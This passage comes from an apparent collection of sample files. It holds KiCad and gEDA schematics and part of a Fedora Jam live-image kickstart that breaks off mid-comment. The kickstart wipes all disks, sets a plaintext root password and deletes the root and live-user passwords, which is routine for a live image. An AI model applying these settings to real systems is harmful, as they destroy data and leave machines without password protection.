3350\nWire Wire Line\n\t4700 3350 4900 3350\n$Comp\nL R R10\nU 1 1 577960FD\nP 5600 2450\nF 0 \"R10\" V 5680 2450 50  0000 C CNN\nF 1 \"1K\" H 5600 2450 50  0000 C CNN\nF 2 \"footprints:Resistor_Horizontal_RM7mm\" V 5530 2450 50  0001 C CNN\nF 3 \"\" H 5600 2450 50  0000 C CNN\nF 4 \"680EBK-ND\" H 5600 2450 60  0001 C CNN \"Digikey#\"\n\t1    5600 2450\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t5600 2100 5600 2300\nWire Notes Line\n\t3800 1000 3800 5450\nWire Notes Line\n\t3800 5450 7650 5450\nWire Notes Line\n\t7650 5450 7650 1000\nWire Notes Line\n\t7650 1350 3800 1350\nWire Notes Line\n\t7650 1000 3800 1000\nText Notes 5350 1250 0    60   ~ 12\nBUZZER CIRCUIT\n$Comp\nL VDD-RESCUE-simonShield #PWR018\nU 1 1 5777FCD4\nP 5600 2100\nF 0 \"#PWR018\" H 5600 1950 50  0001 C CNN\nF 1 \"VDD\" H 5600 2250 50  0000 C CNN\nF 2 \"\" H 5600 2100 50  0000 C CNN\nF 3 \"\" H 5600 2100 50  0000 C CNN\n\t1    5600 2100\n\t1    0    0    -1  \n$EndComp\n$EndSCHEMATC\n"
  },
  {
    "path": "samples/KiCad Schematic/ciaaConector.sch",
    "content": "EESchema Schematic File Version 2\nLIBS:simonLib\nLIBS:power\nLIBS:simonShield-cache\nEELAYER 25 0\nEELAYER END\n$Descr A4 11693 8268\nencoding utf-8\nSheet 4 4\nTitle \"Poncho Simon EDU-CIAA\"\nDate \"2016-07-26\"\nRev \"1.0\"\nComp \"Proyecto CIAA\"\nComment1 \"Juan Agustin Bassi\"\nComment2 \"CESE - Diseño PCB\"\nComment3 \"Licencia BSD\"\nComment4 \"\"\n$EndDescr\n$Comp\nL GND #PWR029\nU 1 1 57781CE9\nP 3200 3000\nF 0 \"#PWR029\" H 3200 2750 50  0001 C CNN\nF 1 \"GND\" H 3200 2850 50  0000 C CNN\nF 2 \"\" H 3200 3000 50  0000 C CNN\nF 3 \"\" H 3200 3000 50  0000 C CNN\n\t1    3200 3000\n\t1    0    0    -1  \n$EndComp\n$Comp\nL Conn_Poncho2P_2x_20x2 XA?\nU 2 1 57781CEF\nP 3900 3050\nAR Path=\"/57781CEF\" Ref=\"XA?\"  Part=\"2\" \nAR Path=\"/57781B52/57781CEF\" Ref=\"XA1\"  Part=\"2\" \nF 0 \"XA1\" H 4200 3450 60  0000 C CNN\nF 1 \"Conn_Poncho2P_2x_20x2\" H 4250 1350 60  0000 C CNN\nF 2 \"simonShield:Conn_Poncho_SinBorde\" H 3900 3050 60  0001 C CNN\nF 3 \"\" H 3900 3050 60  0000 C CNN\nF 4 \"952-2121-ND\" H 3900 3050 60  0001 C CNN \"Digikey#\"\n\t2    3900 3050\n\t1    0    0    -1  \n$EndComp\n$Comp\nL PWR_JUMPER P1\nU 1 1 57781CF6\nP 4250 2250\nF 0 \"P1\" H 4250 2400 50  0000 C CNN\nF 1 \"PWR_JUMPER\" H 4250 2100 50  0000 C CNN\nF 2 \"simonShield:Pin_Header_Straight_2x02\" H 4250 1050 50  0001 C CNN\nF 3 \"\" H 4250 1050 50  0000 C CNN\nF 4 \"952-2121-ND\" H 4250 2250 60  0001 C CNN \"Digikey#\"\n\t1    4250 2250\n\t1    0    0    -1  \n$EndComp\nNoConn ~ 4850 2850\nNoConn ~ 4850 2950\nNoConn ~ 4850 3050\nNoConn ~ 4850 3150\nNoConn ~ 4850 3250\nNoConn ~ 4850 3350\nNoConn ~ 4850 3450\nNoConn ~ 3650 4050\nNoConn ~ 3650 3950\nNoConn ~ 3650 3850\nNoConn ~ 3650 3750\nNoConn ~ 3650 3650\nNoConn ~ 3650 3550\nNoConn ~ 3650 3450\nNoConn ~ 3650 3350\nNoConn ~ 3650 3250\nNoConn ~ 3650 3050\nNoConn ~ 3650 2950\nText HLabel 4850 3750 2    60   Input ~ 0\nBTN_CFG_1\nText HLabel 4850 3850 2    60   Input ~ 0\nBTN_CFG_2\nText HLabel 4850 4450 2    60   Input ~ 0\nBTN_CFG_3\nText HLabel 4850 4650 2    60   Input ~ 0\nBTN_CFG_4\nText HLabel 3650 4350 0    60   Input ~ 0\nLED_4\nText HLabel 4850 4350 2    60   Input ~ 0\nLED_3\nText HLabel 4850 4050 2    60   Input ~ 0\nLED_2\nText HLabel 4850 3550 2    60   Input ~ 0\nLED_1\nText HLabel 3650 4450 0    60   Input ~ 0\nBTN_LED_4\nText HLabel 4850 4550 2    60   Input ~ 0\nBTN_LED_3\nText HLabel 4850 3950 2    60   Input ~ 0\nBTN_LED_2\nText HLabel 4850 3650 2    60   Input ~ 0\nBTN_LED_1\nText HLabel 3650 3150 0    60   Input ~ 0\nPWM\n$Comp\nL Conn_Poncho2P_2x_20x2 XA1\nU 1 1 577946F6\nP 7400 3000\nF 0 \"XA1\" H 7700 3400 60  0000 C CNN\nF 1 \"Conn_Poncho2P_2x_20x2\" H 7750 1300 60  0000 C CNN\nF 2 \"simonShield:Conn_Poncho_SinBorde\" H 7400 3000 60  0001 C CNN\nF 3 \"\" H 7400 3000 60  0000 C CNN\nF 4 \"952-2121-ND\" H 7400 3000 60  0001 C CNN \"Digikey#\"\n\t1    7400 3000\n\t1    0    0    -1  \n$EndComp\nNoConn ~ 7150 2700\nNoConn ~ 7150 2800\nNoConn ~ 7150 2900\nNoConn ~ 7150 3000\nNoConn ~ 7150 3100\nNoConn ~ 7150 3200\nNoConn ~ 7150 3300\nNoConn ~ 7150 3400\nNoConn ~ 7150 3500\nNoConn ~ 7150 3600\nNoConn ~ 7150 3700\nNoConn ~ 7150 3800\nNoConn ~ 7150 3900\nNoConn ~ 7150 4000\nNoConn ~ 7150 4100\nNoConn ~ 7150 4200\nNoConn ~ 7150 4300\nNoConn ~ 7150 4400\nNoConn ~ 7150 4500\nNoConn ~ 7150 4600\nNoConn ~ 8350 4600\nNoConn ~ 8350 4500\nNoConn ~ 8350 4400\nNoConn ~ 8350 4300\nNoConn ~ 8350 4200\nNoConn ~ 8350 4100\nNoConn ~ 8350 4000\nNoConn ~ 8350 3900\nNoConn ~ 8350 3800\nNoConn ~ 8350 3700\nNoConn ~ 8350 3600\nNoConn ~ 8350 3500\nNoConn ~ 8350 3400\nNoConn ~ 8350 3300\nNoConn ~ 8350 3200\nNoConn ~ 8350 3100\nNoConn ~ 8350 3000\nNoConn ~ 8350 2900\nNoConn ~ 8350 2800\nNoConn ~ 8350 2700\nText Notes 5450 1150 0    60   ~ 12\nEDU-CIAA NXP CONNECTORS\nText Notes 4100 1300 0    60   ~ 12\nP2\nText Notes 7700 1300 0    60   ~ 12\nP1\n$Comp\nL GND #PWR030\nU 1 1 578F601E\nP 3400 4750\nF 0 \"#PWR030\" H 3400 4500 50  0001 C CNN\nF 1 \"GND\" H 3400 4600 50  0000 C CNN\nF 2 \"\" H 3400 4750 50  0000 C CNN\nF 3 \"\" H 3400 4750 50  0000 C CNN\n\t1    3400 4750\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR031\nU 1 1 57781D17\nP 5150 2900\nF 0 \"#PWR031\" H 5150 2650 50  0001 C CNN\nF 1 \"GND\" H 5150 2750 50  0000 C CNN\nF 2 \"\" H 5150 2900 50  0000 C CNN\nF 3 \"\" H 5150 2900 50  0000 C CNN\n\t1    5150 2900\n\t1    0    0    -1  \n$EndComp\n$Comp\nL C_100nF C1\nU 1 1 57781D10\nP 5150 2550\nF 0 \"C1\" H 5150 2650 40  0000 L CNN\nF 1 \"C_100nF\" H 5156 2465 40  0000 L CNN\nF 2 \"simonShield:C_Disc_D3_P2.5\" H 5188 2400 30  0001 C CNN\nF 3 \"\" H 5150 2550 60  0000 C CNN\nF 4 \"BC1160TR­ND\" H 5150 2550 60  0001 C CNN \"Digikey#\"\n\t1    5150 2550\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR032\nU 1 1 5798B140\nP 4800 2050\nF 0 \"#PWR032\" H 4800 1900 50  0001 C CNN\nF 1 \"VCC\" H 4800 2200 50  0000 C CNN\nF 2 \"\" H 4800 2050 50  0000 C CNN\nF 3 \"\" H 4800 2050 50  0000 C CNN\n\t1    4800 2050\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t4850 2750 4900 2750\nWire Wire Line\n\t4900 2750 4900 2500\nWire Wire Line\n\t4900 2500 3800 2500\nWire Wire Line\n\t3800 2500 3800 2300\nWire Wire Line\n\t3800 2300 4000 2300\nWire Wire Line\n\t3650 2750 3600 2750\nWire Wire Line\n\t3600 2750 3600 2200\nWire Wire Line\n\t3600 2200 4000 2200\nWire Wire Line\n\t3200 2850 3200 3000\nWire Wire Line\n\t3650 2850 3200 2850\nWire Notes Line\n\t1950 1050 1950 5450\nWire Notes Line\n\t1950 5450 9850 5450\nWire Notes Line\n\t9850 5450 9850 1050\nWire Notes Line\n\t9850 1050 1950 1050\nWire Notes Line\n\t1950 1200 9850 1200\nWire Notes Line\n\t9850 1350 1950 1350\nWire Notes Line\n\t6050 1200 6050 5450\nWire Wire Line\n\t3650 4650 3400 4650\nWire Wire Line\n\t3400 4550 3400 4750\nWire Wire Line\n\t3650 4550 3400 4550\nConnection ~ 3400 4650\nWire Wire Line\n\t5150 2750 5150 2900\nWire Wire Line\n\t4500 2200 4800 2200\nWire Wire Line\n\t4800 2300 4800 2050\nWire Wire Line\n\t4500 2300 5150 2300\nConnection ~ 4800 2200\nWire Wire Line\n\t5150 2300 5150 2350\nConnection ~ 4800 2300\nNoConn ~ 3650 4250\nNoConn ~ 3650 4150\nNoConn ~ 4850 4150\nNoConn ~ 4850 4250\n$EndSCHEMATC\n"
  },
  {
    "path": "samples/KiCad Schematic/gedda-junk.sch",
    "content": "v 20080706 2\nT 10000 20000 9 10 1 0 0 0 1\n_0_0_   0.sym\nT 10000 19800 9 10 1 0 0 0 1\n_1_1_   1.sym\nT 10000 19600 9 10 1 0 0 0 1\n_2_2_   2.sym\nT 10000 19400 9 10 1 0 0 0 1\n_3_3_   3.sym\nT 10000 19200 9 10 1 0 0 0 1\n_4_4_   4.sym\nT 10000 19000 9 10 1 0 0 0 1\n_5_5_   5.sym\nT 10000 18800 9 10 1 0 0 0 1\n_6_6_   6.sym\nT 10000 18600 9 10 1 0 0 0 1\n_7_7_   7.sym\nT 10000 18400 9 10 1 0 0 0 1\n_8_8_   8.sym\nT 10000 18200 9 10 1 0 0 0 1\n_9_9_   9.sym\nT 18000 17200 9 10 1 0 0 0 1\n_q_q_   q_.sym\nv 20130925 2\nC 40000 40000 0 0 0 title-B.sym\nN 43500 47000 44200 47000 4\nN 44200 47000 44200 49400 4\nN 44200 49400 41800 49400 4\nN 41800 47300 41800 49400 4\nN 41800 47300 41500 47300 4\nN 41500 47300 41500 45600 4\nN 41500 45600 41600 45600 4\nN 41600 45600 41600 44600 4\nN 41100 44600 41600 44600 4\nN 41100 44600 41100 42900 4\nN 41100 42900 42400 42900 4\nN 42400 42900 42400 43600 4\nN 42400 43600 41000 43600 4\nN 41000 43600 41000 41300 4\nU 45300 49600 45300 43900 10 0\nU 45300 43900 53800 43900 10 0\nU 53800 43900 53800 45900 10 0\nU 53800 45900 53100 45900 10 0\nU 53100 45900 53100 47300 10 0\nU 53100 47300 50500 47300 10 0\nV 48500 47400 900 3 0 0 0 -1 -1 0 -1 -1 -1 -1 -1\nP 47300 49100 50100 49100 1 0 0\n{\nT 47300 49100 5 10 0 0 0 0 1\npintype=unknown\nT 50155 49095 5 10 1 1 0 0 1\npinlabel=unknown\nT 50005 49145 5 10 1 1 0 6 1\npinnumber=0\nT 47300 49100 5 10 0 0 0 0 1\npinseq=0\n}\nP 51800 50000 51800 48500 1 0 0\n{\nT 51800 50000 5 10 0 0 0 0 1\npintype=unknown\nT 51800 48445 5 10 1 1 90 6 1\npinlabel=unknown\nT 51750 48595 5 10 1 1 90 0 1\npinnumber=0\nT 51800 50000 5 10 0 0 0 0 1\npinseq=0\n}\nP 54500 48500 54500 47900 1 0 0\n{\nT 54500 48500 5 10 0 0 0 0 1\npintype=unknown\nT 54500 47845 5 10 1 1 90 6 1\npinlabel=unknown\nT 54450 47995 5 10 1 1 90 0 1\npinnumber=0\nT 54500 48500 5 10 0 0 0 0 1\npinseq=0\n}\nC 46700 49800 1 0 0 af_output_transformer-1.sym\n{\nT 48000 52200 5 10 0 0 0 0 1\ndevice=AF_OUTPUT_TRANSFORMER\nT 48000 51900 5 10 1 1 0 0 1\nrefdes=U?\n}\nC 42900 41300 1 0 0 af_output_transformer-1.sym\n{\nT 44200 43700 5 10 0 0 0 0 1\ndevice=AF_OUTPUT_TRANSFORMER\nT 44200 43400 5 10 1 1 0 0 1\nrefdes=U?\n}\nT 48100 42000 9 10 1 0 0 0 1\nNFI_LOL\nC 42200 44500 1 0 0 ssrelay-spdt-lcc110-1.sym\n{\nT 42500 47100 5 10 0 0 0 0 1\ndevice=LCC110\nT 42500 46700 5 10 0 0 0 0 1\nsymversion=0.1\nT 42500 46250 5 10 1 1 0 0 1\nrefdes=U?\nT 42500 46900 5 10 0 0 0 0 1\nfootprint=DIP8\n}\nU 53200 50000 53200 47900 10 0\nU 53200 47900 53700 47900 10 0\nU 53700 47900 53700 46500 10 0\nU 53700 46500 54200 46500 10 0\nU 54200 46500 54200 43800 10 0\nU 54200 43800 45500 43800 10 0\nU 45500 43800 45500 42600 10 0\nU 45500 42600 49200 42600 10 0\nU 49200 42600 49200 41500 10 0\nU 49200 41500 47700 41500 10 0\nU 47700 41500 47700 42200 10 0\nU 47700 42200 45300 42200 10 0\nU 45300 42200 45300 40500 10 0\nU 45300 40500 40900 40500 10 0\nU 40900 40500 40900 41000 10 0\nU 40900 41000 40500 41000 10 0\nU 40500 41000 40500 50300 10 0\nU 40500 50300 45800 50300 10 0\nU 45800 50300 45800 49700 10 0\nU 45800 49700 45300 49700 10 0\nU 45300 49700 45300 48100 10 0\nU 45300 48100 43600 48100 10 0\nC 42500 47400 1 0 0 switch-dip12.sym\n{\nT 42800 51700 5 10 1 1 0 0 1\nfootprint=SWITCH_DIP12\nT 42800 51975 5 8 0 0 0 0 1\ndevice=SWITCH_DIP12\nT 42800 51350 5 10 1 1 0 0 1\nrefdes=S?\n}\n"
  },
  {
    "path": "samples/KiCad Schematic/rpi-cm4-carrier-template.kicad_sch",
    "content": "(kicad_sch (version 20201015) (generator eeschema)\n\n  (page 1 3)\n\n  (paper \"A4\")\n\n  (title_block\n    (title \"Raspberry Pi Compute Module 4 Carrier Template\")\n    (date \"2020-10-31\")\n    (rev \"v01\")\n    (comment 2 \"creativecommons.org/licenses/by-sa/4.0/\")\n    (comment 3 \"License: CC BY 4.0\")\n    (comment 4 \"Author: Shawn Hymel\")\n  )\n\n  (lib_symbols\n  )\n\n\n  (sheet (at 101.6 50.8) (size 38.1 38.1)\n    (stroke (width 0) (type solid) (color 132 0 132 1))\n    (fill (color 255 255 255 0.0000))\n    (uuid fc4c71a5-1008-4ac4-98db-57c838c57d91)\n    (property \"Sheet name\" \"CM4 GPIO\" (id 0) (at 101.6 50.1645 0)\n      (effects (font (size 1.27 1.27)) (justify left bottom))\n    )\n    (property \"Sheet file\" \"cm4-gpio.kicad_sch\" (id 1) (at 101.6 89.4085 0)\n      (effects (font (size 1.27 1.27)) (justify left top))\n    )\n  )\n\n  (sheet (at 101.6 101.6) (size 38.1 38.1)\n    (stroke (width 0) (type solid) (color 132 0 132 1))\n    (fill (color 255 255 255 0.0000))\n    (uuid caa71f4c-454d-4ac9-b287-456eafb34991)\n    (property \"Sheet name\" \"CM4 High Speed\" (id 0) (at 101.6 100.9645 0)\n      (effects (font (size 1.27 1.27)) (justify left bottom))\n    )\n    (property \"Sheet file\" \"cm4-high-speed.kicad_sch\" (id 1) (at 101.6 140.2085 0)\n      (effects (font (size 1.27 1.27)) (justify left top))\n    )\n  )\n\n  (sheet_instances\n    (path \"/\" (page \"1\"))\n    (path \"/fc4c71a5-1008-4ac4-98db-57c838c57d91/\" (page \"3\"))\n    (path \"/caa71f4c-454d-4ac9-b287-456eafb34991/\" (page \"3\"))\n  )\n\n  (symbol_instances\n    (path \"/fc4c71a5-1008-4ac4-98db-57c838c57d91/230650eb-8852-4c76-b63c-12ec79910b81\"\n      (reference \"#PWR?\") (unit 1) (value \"GND\") (footprint \"\")\n    )\n    (path \"/fc4c71a5-1008-4ac4-98db-57c838c57d91/31551326-27c6-4bba-a0c0-abe772948a8c\"\n      (reference \"#PWR?\") (unit 1) (value \"GND\") (footprint \"\")\n    )\n    (path \"/fc4c71a5-1008-4ac4-98db-57c838c57d91/463d59ed-ef45-4402-9140-190527b0aff8\"\n      (reference \"Module1\") (unit 1) (value \"ComputeModule4-CM4\") (footprint \"CM4IO:Raspberry-Pi-4-Compute-Module\")\n    )\n    (path \"/caa71f4c-454d-4ac9-b287-456eafb34991/0d0caf91-4ece-48ed-a178-43a8b49f3526\"\n      (reference \"#PWR?\") (unit 1) (value \"GND\") (footprint \"\")\n    )\n    (path \"/caa71f4c-454d-4ac9-b287-456eafb34991/81f0d702-912e-410d-83f3-c9f3bd3f7f28\"\n      (reference \"#PWR?\") (unit 1) (value \"GND\") (footprint \"\")\n    )\n    (path \"/caa71f4c-454d-4ac9-b287-456eafb34991/fafda8be-1326-444e-bcc1-8cb4aded3240\"\n      (reference \"Module1\") (unit 2) (value \"ComputeModule4-CM4\") (footprint \"CM4IO:Raspberry-Pi-4-Compute-Module\")\n    )\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Schematic/ultimate-temp-controller.sch",
    "content": "EESchema Schematic File Version 2\nLIBS:power\nLIBS:device\nLIBS:transistors\nLIBS:conn\nLIBS:linear\nLIBS:regul\nLIBS:74xx\nLIBS:cmos4000\nLIBS:adc-dac\nLIBS:memory\nLIBS:xilinx\nLIBS:special\nLIBS:microcontrollers\nLIBS:dsp\nLIBS:microchip\nLIBS:analog_switches\nLIBS:motorola\nLIBS:texas\nLIBS:intel\nLIBS:audio\nLIBS:interface\nLIBS:digital-audio\nLIBS:philips\nLIBS:display\nLIBS:cypress\nLIBS:siliconi\nLIBS:opto\nLIBS:atmel\nLIBS:contrib\nLIBS:valves\nLIBS:relays\nLIBS:w_relay\nLIBS:ultimate-temp-controller-cache\nEELAYER 25 0\nEELAYER END\n$Descr A4 11693 8268\nencoding utf-8\nSheet 1 2\nTitle \"\"\nDate \"\"\nRev \"\"\nComp \"\"\nComment1 \"\"\nComment2 \"\"\nComment3 \"\"\nComment4 \"\"\n$EndDescr\n$Sheet\nS 1400 2100 2150 2000\nU 54E5B803\nF0 \"controller\" 60\nF1 \"controller.sch\" 60\nF2 \"TC+\" I L 1400 2300 60 \nF3 \"TC-\" I L 1400 2400 60 \nF4 \"VCC\" I L 1400 3750 60 \nF5 \"GND\" I L 1400 3900 60 \nF6 \"RS485A\" I R 3550 3700 60 \nF7 \"RS485B\" I R 3550 3800 60 \nF8 \"DRAIN\" O R 3550 3300 60 \nF9 \"+5V\" O R 3550 2250 60 \nF10 \"SDA\" B R 3550 2350 60 \nF11 \"SCL\" B R 3550 2450 60 \nF12 \"GND\" O R 3550 2550 60 \nF13 \"RELAY_NO\" I R 3550 2850 60 \nF14 \"RELAY_COM\" I R 3550 3050 60 \nF15 \"RELAY_NC\" I R 3550 2950 60 \n$EndSheet\n$EndSCHEMATC\n"
  },
  {
    "path": "samples/Kickstart/fedora-32-live-jam-xfce-pipewire.ks",
    "content": "# example taken from https://github.com/ycollet/fedora-spec/blob/master/kickstart/fedora-32-live-jam-xfce-pipewire.ks\n# Lic. GPL-3.0\n\n# fedora-livedvd-jam-xfe.ks\n# With XFCE Desktop\n\n# Fedora Jam: For Musicians and audio enthusiasts\n# Fedora Jam is a spin for anyone interested in creating \n# music \n\n# Maintainer: Yann Collette <ycollette.nospam@free.fr>\n\nlang fr_FR.UTF-8\nkeyboard fr-latin9\ntimezone Europe/Paris\n\nauth --useshadow --passalgo=sha512\n# SELinux configuration\nselinux --enforcing\nfirewall --enabled --service=mdns\nxconfig --startxonboot\n# Clear the Master Boot Record\nzerombr\nclearpart --all --initlabel\npart / --size 16384 --fstype ext4\nservices --disabled=\"sshd\" --enabled=\"NetworkManager\"\nnetwork --bootproto=dhcp --device=link --activate\n# Shutdown after installation\nshutdown\nrootpw --plaintext audinux\n\n#enable threaded irqs\nbootloader --location=none --append=\"threadirqs nopti\"\n\nrepo --name=rpmfusion                --baseurl=http://download1.rpmfusion.org/free/fedora/releases/$releasever/Everything/$basearch/os/\nrepo --name=rpmfusion-non-free       --baseurl=http://download1.rpmfusion.org/nonfree/fedora/releases/$releasever/Everything/$basearch/os/\nrepo --name=rpmfusion-update-testing --baseurl=http://download1.rpmfusion.org/free/fedora/updates/testing/$releasever/$basearch/\nrepo --name=rpmfusion-free-update    --baseurl=http://download1.rpmfusion.org/free/fedora/updates/$releasever/$basearch/\n\nrepo --name=fedora  --mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearch\nrepo --name=updates --mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=updates-released-f$releasever&arch=$basearch\n\nurl --mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearch\n\nrepo --name=\"CoprLinuxMAO\" --baseurl=https://copr-be.cloud.fedoraproject.org/results/ycollet/linuxmao/fedora-$releasever-$basearch/\n\n%packages\n\n@base-x\n@guest-desktop-agents\n@standard\n@core\n@fonts\n@input-methods\n@multimedia\n@hardware-support\ndnf\n\n# exclude input methods:\n-scim*\n-ibus*\n-iok\n\n# Make live images easy to shutdown and the like in libvirt\nqemu-guest-agent\n\n%end\n\n%post\n\n# Install language pack\ndnf -y langinstall French\n\n# FIXME: it'd be better to get this installed from a package\ncat > /etc/rc.d/init.d/livesys << EOF\n#!/bin/bash\n#\n# live: Init script for live image\n#\n# chkconfig: 345 00 99\n# description: Init script for live image.\n### BEGIN INIT INFO\n# X-Start-Before: display-manager chronyd\n### END INIT INFO\n\n. /etc/init.d/functions\n\nif ! strstr \"\\`cat /proc/cmdline\\`\" rd.live.image || [ \"\\$1\" != \"start\" ]; then\n    exit 0\nfi\n\nif [ -e /.liveimg-configured ] ; then\n    configdone=1\nfi\n\nexists() {\n    which \\$1 >/dev/null 2>&1 || return\n    \\$*\n}\n\n# Make sure we don't mangle the hardware clock on shutdown\nln -sf /dev/null /etc/systemd/system/hwclock-save.service\n\nlivedir=\"LiveOS\"\nfor arg in \\`cat /proc/cmdline\\` ; do\n  if [ \"\\${arg##rd.live.dir=}\" != \"\\${arg}\" ]; then\n    livedir=\\${arg##rd.live.dir=}\n    continue\n  fi\n  if [ \"\\${arg##live_dir=}\" != \"\\${arg}\" ]; then\n    livedir=\\${arg##live_dir=}\n  fi\ndone\n\n# enable swaps unless requested otherwise\nswaps=\\`blkid -t TYPE=swap -o device\\`\nif ! strstr \"\\`cat /proc/cmdline\\`\" noswap && [ -n \"\\$swaps\" ] ; then\n  for s in \\$swaps ; do\n    action \"Enabling swap partition \\$s\" swapon \\$s\n  done\nfi\nif ! strstr \"\\`cat /proc/cmdline\\`\" noswap && [ -f /run/initramfs/live/\\${livedir}/swap.img ] ; then\n  action \"Enabling swap file\" swapon /run/initramfs/live/\\${livedir}/swap.img\nfi\n\nmountPersistentHome() {\n  # support label/uuid\n  if [ \"\\${homedev##LABEL=}\" != \"\\${homedev}\" -o \"\\${homedev##UUID=}\" != \"\\${homedev}\" ]; then\n    homedev=\\`/sbin/blkid -o device -t \"\\$homedev\"\\`\n  fi\n\n  # if we're given a file rather than a blockdev, loopback it\n  if [ \"\\${homedev##mtd}\" != \"\\${homedev}\" ]; then\n    # mtd devs don't have a block device but get magic-mounted with -t jffs2\n    mountopts=\"-t jffs2\"\n  elif [ ! -b \"\\$homedev\" ]; then\n    loopdev=\\`losetup -f\\`\n    if [ \"\\${homedev##/run/initramfs/live}\" != \"\\${homedev}\" ]; then\n      action \"Remounting live store r/w\" mount -o remount,rw /run/initramfs/live\n    fi\n    losetup \\$loopdev \\$homedev\n    homedev=\\$loopdev\n  fi\n\n  # if it's encrypted, we need to unlock it\n  if [ \"\\$(/sbin/blkid -s TYPE -o value \\$homedev 2>/dev/null)\" = \"crypto_LUKS\" ]; then\n    echo\n    echo \"Setting up encrypted /home device\"\n    plymouth ask-for-password --command=\"cryptsetup luksOpen \\$homedev EncHome\"\n    homedev=/dev/mapper/EncHome\n  fi\n\n  # and finally do the mount\n  mount \\$mountopts \\$homedev /home\n  # if we have /home under what's passed for persistent home, then\n  # we should make that the real /home.  useful for mtd device on olpc\n  if [ -d /home/home ]; then mount --bind /home/home /home ; fi\n  [ -x /sbin/restorecon ] && /sbin/restorecon /home\n  if [ -d /home/audinux ]; then USERADDARGS=\"-M\" ; fi\n}\n\nfindPersistentHome() {\n  for arg in \\`cat /proc/cmdline\\` ; do\n    if [ \"\\${arg##persistenthome=}\" != \"\\${arg}\" ]; then\n      homedev=\\${arg##persistenthome=}\n    fi\n  done\n}\n\nif strstr \"\\`cat /proc/cmdline\\`\" persistenthome= ; then\n  findPersistentHome\nelif [ -e /run/initramfs/live/\\${livedir}/home.img ]; then\n  homedev=/run/initramfs/live/\\${livedir}/home.img\nfi\n\n# if we have a persistent /home, then we want to go ahead and mount it\nif ! strstr \"\\`cat /proc/cmdline\\`\" nopersistenthome && [ -n \"\\$homedev\" ] ; then\n  action \"Mounting persistent /home\" mountPersistentHome\nfi\n\nif [ -n \"\\$configdone\" ]; then\n  exit 0\nfi\n\n# add fedora user with no passwd\naction \"Adding live user\" useradd \\$USERADDARGS -c \"Live System User\" audinux\npasswd -d audinux > /dev/null\nusermod -aG wheel    audinux > /dev/null\nusermod -aG jackuser audinux > /dev/null\nusermod -aG root     audinux > /dev/null\n\n# Remove root password lock\npasswd -d root > /dev/null\n\n# turn off firstboot for livecd boots\nsystemctl --no-reload disable firstboot-text.service 2> /dev/null || :\nsystemctl --no-reload disable firstboot-graphical.service 2> /dev/null || :\nsystemctl stop firstboot-text.service 2> /dev/null || :\nsystemctl stop firstboot-graphical.service 2> /dev/null || :\n\n# don't use prelink on a running live image\nsed -i 's/PRELINKING=yes/PRELINKING=no/' /etc/sysconfig/prelink &>/dev/null || :\n\n# turn off mdmonitor by default\nsystemctl --no-reload disable mdmonitor.service 2> /dev/null || :\nsystemctl --no-reload disable mdmonitor-takeover.service 2> /dev/null || :\nsystemctl stop mdmonitor.service 2> /dev/null || :\nsystemctl stop mdmonitor-takeover.service 2> /dev/null || :\n\n# don't enable the gnome-settings-daemon packagekit plugin\ngsettings set org.gnome.software download-updates 'false' || :\n\n# don't start cron/at as they tend to spawn things which are\n# disk intensive that are painful on a live image\nsystemctl --no-reload disable crond.service 2> /dev/null || :\nsystemctl --no-reload disable atd.service 2> /dev/null || :\nsystemctl stop crond.service 2> /dev/null || :\nsystemctl stop atd.service 2> /dev/null || :\n\n# turn off abrtd on a live image\nsystemctl --no-reload disable abrtd.service 2> /dev/null || :\nsystemctl stop abrtd.service 2> /dev/null || :\n\n# Don't sync the system clock when running live (RHBZ #1018162)\nsed -i 's/rtcsync//' /etc/chrony.conf\n\n# Mark things as configured\ntouch /.liveimg-configured\n\n# add static hostname to work around xauth bug\n# https://bugzilla.redhat.com/show_bug.cgi?id=679486\n# the hostname must be something else than 'localhost'\n# https://bugzilla.redhat.com/show_bug.cgi?id=1370222\necho \"localhost-live\" > /etc/hostname\n\nEOF\n\n# bah, hal starts way too late\ncat > /etc/rc.d/init.d/livesys-late << EOF\n#!/bin/bash\n#\n# live: Late init script for live image\n#\n# chkconfig: 345 99 01\n# description: Late init script for live image.\n\n. /etc/init.d/functions\n\nif ! strstr \"\\`cat /proc/cmdline\\`\" rd.live.image || [ \"\\$1\" != \"start\" ] || [ -e /.liveimg-late-configured ] ; then\n    exit 0\nfi\n\nexists() {\n    which \\$1 >/dev/null 2>&1 || return\n    \\$*\n}\n\ntouch /.liveimg-late-configured\n\n# read some variables out of /proc/cmdline\nfor o in \\`cat /proc/cmdline\\` ; do\n    case \\$o in\n    ks=*)\n        ks=\"--kickstart=\\${o#ks=}\"\n        ;;\n    xdriver=*)\n        xdriver=\"\\${o#xdriver=}\"\n        ;;\n    esac\ndone\n\n# if liveinst or textinst is given, start anaconda\nif strstr \"\\`cat /proc/cmdline\\`\" liveinst ; then\n   plymouth --quit\n   /usr/sbin/liveinst \\$ks\nfi\nif strstr \"\\`cat /proc/cmdline\\`\" textinst ; then\n   plymouth --quit\n   /usr/sbin/liveinst --text \\$ks\nfi\n\n# configure X, allowing user to override xdriver\ncat > /etc/X11/xorg.conf <<FOE\nSection \"InputDevice\"\n    Identifier \"Keyboard0\"\n    Driver \"kbd\"\n    Option \"XkbLayout\" \"fr-latin9\"\nEndSection\nFOE\n\nif [ -n \"\\$xdriver\" ]; then\n   cat > /etc/X11/xorg.conf.d/00-xdriver.conf <<FOE\nSection \"Device\"\n    Identifier \"Videocard0\"\n    Driver \"\\$xdriver\"\nEndSection\nFOE\nfi\n\nEOF\n\nchmod 755 /etc/rc.d/init.d/livesys\n/sbin/restorecon /etc/rc.d/init.d/livesys\n/sbin/chkconfig --add livesys\n\nchmod 755 /etc/rc.d/init.d/livesys-late\n/sbin/restorecon /etc/rc.d/init.d/livesys-late\n/sbin/chkconfig --add livesys-late\n\n# enable tmpfs for /tmp\nsystemctl enable tmp.mount\n\n# make it so that we don't do writing to the overlay for things which\n# are just tmpdirs/caches\n# note https://bugzilla.redhat.com/show_bug.cgi?id=1135475\ncat >> /etc/fstab << EOF\nvartmp   /var/tmp    tmpfs   defaults   0  0\nEOF\n\n# work around for poor key import UI in 